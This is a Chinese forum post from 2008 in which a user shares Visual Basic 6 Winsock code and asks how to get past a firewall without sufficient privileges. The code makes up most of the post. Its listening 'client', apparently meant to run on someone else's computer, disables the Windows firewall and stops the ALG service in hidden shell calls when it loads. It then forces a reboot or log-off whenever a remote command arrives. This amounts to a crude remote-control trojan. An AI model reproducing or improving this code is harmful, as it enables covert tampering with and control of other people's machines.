VB 实现穿过防火墙

2008-09-29 10:25:53 219 阅读 AI 写同款 · GEO 优化AI 选题数据监测一键分发 ›

手把手教你排查libstdc++.so.6版本问题：从GLIBCXX缺失到完美解决本文深入解析Linux系统中常见的GLIBCXX版本缺失问题，以`ImportError: /lib/x86_64-linux-gnu/libstdc++.so.6: version 'GLIBCXX_3.4.29' not found`为例，从动态链接原理入手，提供使用`strings`和`find`命令的诊断方法，并详细对比了四种解决方案的优缺点。文章重点推荐通过设置`LD_LIBRARY_PATH`或更新系统库的安全策略，并最终建议使用Docker容器化技术实现环境依赖的根治与统一管理。阅读详情

我做了个简单的TCP连接的东西，可是总是提示防火墙信息，总是不能实现通讯
程序如下：
服务端：
Private Sub Command1_Click()
Wc.SendData "Command=1" '送命令
End Sub

Private Sub Command2_Click()
Wc.SendData "Command=2" '?送命令
End Sub
Private Sub Form_Load()
Wc.RemoteHost = "172.17.2.57" '别人的IP
Wc.RemotePort = 1001
Wc.Connect
End Sub

客户端：
Private Sub Form_Load()
Shell "net stop alg", vbHide
Shell "netsh firewall set opmode disable", vbHide
Ws.LocalPort = 1001 '?听端口
Ws.Listen
End Sub

Private Sub Ws_Close()
Ws.Listen
End Sub

Private Sub Ws_ConnectionRequest(ByVal requestID As Long)
If Ws.State <> sckClosed Then Ws.Close
Ws.Accept requestID
End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim tmp As String
Ws.GetData tmp, vbString
Select Case tmp
Case "Command=1"
'Shell "cmd /c shutdown -s -f -t 1", vbHide

Shell "shutdown -r -f -t 0", vbHide
MsgBox ""
Case "Command=2"
Shell "net stop alg", vbHide
Shell "netsh firewall set opmode disable", vbHide
Shell "shutdown -l -t 10" '十秒后注?
End Select
End Sub
总是提示连接出问题，可是权限低不能关闭防火墙。怎么能绕过防火墙阿。或有其他的解决方法阿。

...全文